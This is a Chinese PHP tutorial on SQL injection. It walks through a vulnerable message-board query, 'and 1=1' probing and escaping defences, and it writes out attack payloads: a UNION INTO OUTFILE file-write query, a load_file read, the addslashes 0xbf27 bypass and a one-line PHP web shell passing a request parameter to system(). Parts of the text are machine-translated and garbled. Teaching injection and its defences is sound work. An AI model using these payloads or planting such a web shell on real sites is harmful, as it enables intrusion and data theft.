PHP漏洞之SQL注入攻击简单介绍_PHP教程
SQL注入是一种攻击,允许攻击者增加额外的逻辑表达式和命令,以现有的SQL查询,种攻击能够成功每当用户提交的数据是不正确验证,并粘有一个合法的SQL查询在一起,所以说sql注入攻击并不是php的问题而程序员的问题。
SQL注入攻击的一般步骤:
1、攻 击者访问有SQL注入漏洞的站点,寻找注入点
2、攻击者构造注入语句,注入语句和程序中的SQL语句结合生成新的sql语句
3、新的sql语句被提交到数据库中执行 处理
4、数据库执行了新的SQL语句,引发SQL注入攻击
实例
数据库
CREATE TABLE `postmessage` (
`id` int(11) NOT NULL auto_increment,
`subject` varchar(60) NOT NULL default ",
`name` varchar(40) NOT NULL default ",
`email` varchar(25) NOT NULL default ",
`question` mediumtext NOT NULL,
`postdate` datetime NOT NULL default '0000-00-00 00:00:00′,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT='运用者的留言' AUTO_INCREMENT=69 ;
grant all privileges on ch3.* to 'sectop'@localhost identified by '123456′;
//add.php 插入留言
//list.php 留言列表
//show.php 显示留言
页面 /show.php?id=71 可能存在注入点,我们来测试
/show.php?id=71 and 1=1
返回页面
一次查询到记录,一次没有,我们来看看源码
//show.php 12-15行
// 执行mysql查询语句
$query = "select * from postmessage where id = ".$_GET["id"];
$result = mysql_query($query)
or die("执行ySQL查询语句失败:" . mysql_error());
参数id传递进来后,和前面的字符串结合的sql语句放入数据库执行 查询
提交 and 1=1,语句变成select * from postmessage where id = 71 and 1=1 这语句前值后值都为真,and以后也为真,返回查询到的数据
提交 and 1=2,语句变成select * from postmessage where id = 71 and 1=2 这语句前值为真,后值为假,and以后为假,查询不到任何数据
正常的SQL查询,经过我们构造的语句之后,形成了SQL注入攻击。通过这个注入点,我们还可以进一步拿到权限,比如说运用 union读取管理密码,读取数据库信息,或者用mysql的load_file,into outfile等函数进一步渗透。
防sql注入方法
$id = intval ($_GET['id']);
当然,还有其它的变量类型,如果有必要的话尽量强制一下格式。
字符型参数:
运用 addslashes函数来将单引号"'"转换成"'",双引号"""转换成""",反斜杠""转换成"\",NULL字符加上反斜杠""
函数原型
string addslashes (string str)
str是要检查的字符串
那么刚才出现的代码漏洞,我们可以这样修补
// 执行mysql查询语句
$query = "select * from postmessage where id = ".intval($_GET["id"]);
$result = mysql_query($query)
or die("执行ySQL查询语句失败:" . mysql_error());
如果是字符型,先判断magic_quotes_gpc能无法 为On,当不为On的时候运用 addslashes转义特殊字符
代码如下 | 复制代码 |
if(get_magic_quotes_gpc()) { $var = $_GET["var"]; } else { $var = addslashes($_GET["var"]); } ] |
SQL语句中包含变量加引号
SQL代码:
代码如下 | 复制代码 |
SELECT * FROM article WHERE articleid = '$id' SELECT * FROM article WHERE articleid = $id |
两种写法在各种程序中都很普遍,但安全性是不同的,第一句由于把变量$id放在一对单引号中,这样使得我们所提交的变量都变成了字符串,即使包含了正确的SQL语句,也不会正常执行,而第二句不同,由于没有把变量放进单引号中,那我们所提交的一切,只要包含空格,那空格后的变量都会作为SQL语句执行,因此,我们要养成给SQL语句中变量加引号的习惯。
3. URL伪静态化
URL伪静态化也就是URL重写技术,像Discuz!一样,将所有的URL都rewrite成类似xxx-xxx-x.html格式,即有利于SEO,又达到了一定的安全性,也不失为一个好办法。但是想实现PHP防SQL注入,前提是你得有一定的"正则"基础。
4. 用PHP函数过滤与转义
PHP的SQL注入比较重要的一点就是GPC的设置问题,因为MYSQL4以下的版本是不支持子语句的,而且当php.ini里的magic_quotes_gpc为On时,提交的变量中所有的 " ' "(单引号)、" " "(双引号)、" "(反斜线)和空字符都会自动转为含有反斜线的转义字符,给SQL注入带来不少的阻碍。
5. 用PHP的MySQL函数过滤与转义
PHP的MySQL操作函数中有addslashes()、mysql_real_escape_string()、mysql_escape_string()等函数,可将特殊字符或可能引起数据库操作出错的字符转义。
那么这三个功能函数之间有什么区别呢?下面我们来详细讲述下:
① addslashes的问题在于黑客可以用0xbf27来代替单引号,而addslashes只是将0xbf27修改为0xbf5c27,称为一个有效的多字节字符,其中0xbf5c仍会被看做是单引号,所以addslashes无法成功拦截。
当然addslashes也不是毫无用处,它是用于单字节字符串的处理,多字节字符还是用mysql_real_escape_string吧。
另外对于php手册中get_magic_quotes_gpc的举例:
代码如下 | 复制代码 |
if(!get_magic_quotes_gpc()){ $lastname = addslashes($_POST['lastname']);}else{ $lastname = $_POST['lastname'];} |
最好对magic_quotes_gpc已经打开的情况下,还是对$_POST['lastname']进行检查一下。
再说下mysql_real_escape_string和mysql_escape_string这2个函数的区别:
代码如下 | 复制代码 |
function daddslashes($string, $force = 0, $strip = FALSE) { if(!MAGIC_QUOTES_GPC || $force) { if(is_array($string)) { foreach($string as $key => $val) { $string[$key] = daddslashes($val, $force, $strip); } } else { $string = addslashes($strip ? stripslashes($string) : $string); } } return $string; } |
命令1 - 写任意文件
MySQL有一个内置的命令,可用于创建和写入系统文件。 此命令的格式如下:
代码如下 | 复制代码 |
mysq> select "text" INTO OUTFILE "file.txt" |
此命令的一个大缺点是,它可以被附加到一个现有的查询使用UNION的SQL令牌。
例如,它可以被附加到下面的查询:
代码如下 | 复制代码 |
select user, password from user where user="admin" and password='123' select user, password from user where user="admin" and password='123' union select "text",2 into outfile "/tmp/file.txt" -- ' |
作为对上述命令的结果,在/ tmp / file.txt文件将被创建,包括查询结果。
命令2 - 读任意文件
MySQL有一个内置的命令,可以用来读取任意文件。 它的语法很简单。 B .我们将利用这个 b命令计划 。
代码如下 | 复制代码 |
mysql> select load_file("PATH_TO_FILE"); |
Web shell
Webshell是polpular并广泛用于执行在Web浏览器从shell命令的工具。 .有人称之为这些工具的PHP炮弹。 我们将创建一个非常简单的webshell,将执行shell命令。
下面是执行的代码PHP的一个非常基本的外壳是将(参数通过加利福尼亚 ):
代码如下 | 复制代码 |
system($_REQUEST['cmd']); ?> |

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

AI Hentai Generator
Menjana ai hentai secara percuma.

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas



PHP 8.4 membawa beberapa ciri baharu, peningkatan keselamatan dan peningkatan prestasi dengan jumlah penamatan dan penyingkiran ciri yang sihat. Panduan ini menerangkan cara memasang PHP 8.4 atau naik taraf kepada PHP 8.4 pada Ubuntu, Debian, atau terbitan mereka

Kod Visual Studio, juga dikenali sebagai Kod VS, ialah editor kod sumber percuma — atau persekitaran pembangunan bersepadu (IDE) — tersedia untuk semua sistem pengendalian utama. Dengan koleksi sambungan yang besar untuk banyak bahasa pengaturcaraan, Kod VS boleh menjadi c

Jika anda seorang pembangun PHP yang berpengalaman, anda mungkin merasakan bahawa anda telah berada di sana dan telah melakukannya. Anda telah membangunkan sejumlah besar aplikasi, menyahpenyahpepijat berjuta-juta baris kod dan mengubah suai sekumpulan skrip untuk mencapai op

Tutorial ini menunjukkan cara memproses dokumen XML dengan cekap menggunakan PHP. XML (bahasa markup extensible) adalah bahasa markup berasaskan teks yang serba boleh yang direka untuk pembacaan manusia dan parsing mesin. Ia biasanya digunakan untuk penyimpanan data

JWT adalah standard terbuka berdasarkan JSON, yang digunakan untuk menghantar maklumat secara selamat antara pihak, terutamanya untuk pengesahan identiti dan pertukaran maklumat. 1. JWT terdiri daripada tiga bahagian: header, muatan dan tandatangan. 2. Prinsip kerja JWT termasuk tiga langkah: menjana JWT, mengesahkan JWT dan muatan parsing. 3. Apabila menggunakan JWT untuk pengesahan di PHP, JWT boleh dijana dan disahkan, dan peranan pengguna dan maklumat kebenaran boleh dimasukkan dalam penggunaan lanjutan. 4. Kesilapan umum termasuk kegagalan pengesahan tandatangan, tamat tempoh, dan muatan besar. Kemahiran penyahpepijatan termasuk menggunakan alat debugging dan pembalakan. 5. Pengoptimuman prestasi dan amalan terbaik termasuk menggunakan algoritma tandatangan yang sesuai, menetapkan tempoh kesahihan dengan munasabah,

Rentetan adalah urutan aksara, termasuk huruf, nombor, dan simbol. Tutorial ini akan mempelajari cara mengira bilangan vokal dalam rentetan yang diberikan dalam PHP menggunakan kaedah yang berbeza. Vokal dalam bahasa Inggeris adalah a, e, i, o, u, dan mereka boleh menjadi huruf besar atau huruf kecil. Apa itu vokal? Vokal adalah watak abjad yang mewakili sebutan tertentu. Terdapat lima vokal dalam bahasa Inggeris, termasuk huruf besar dan huruf kecil: a, e, i, o, u Contoh 1 Input: String = "TutorialSpoint" Output: 6 menjelaskan Vokal dalam rentetan "TutorialSpoint" adalah u, o, i, a, o, i. Terdapat 6 yuan sebanyak 6

Mengikat statik (statik: :) Melaksanakan pengikatan statik lewat (LSB) dalam PHP, yang membolehkan kelas panggilan dirujuk dalam konteks statik dan bukannya menentukan kelas. 1) Proses parsing dilakukan pada masa runtime, 2) Cari kelas panggilan dalam hubungan warisan, 3) ia boleh membawa overhead prestasi.

Apakah kaedah sihir PHP? Kaedah sihir PHP termasuk: 1. \ _ \ _ Membina, digunakan untuk memulakan objek; 2. \ _ \ _ Destruct, digunakan untuk membersihkan sumber; 3. \ _ \ _ Call, mengendalikan panggilan kaedah yang tidak wujud; 4. \ _ \ _ Mendapatkan, melaksanakan akses atribut dinamik; 5. \ _ \ _ Set, melaksanakan tetapan atribut dinamik. Kaedah ini secara automatik dipanggil dalam situasi tertentu, meningkatkan fleksibiliti dan kecekapan kod.
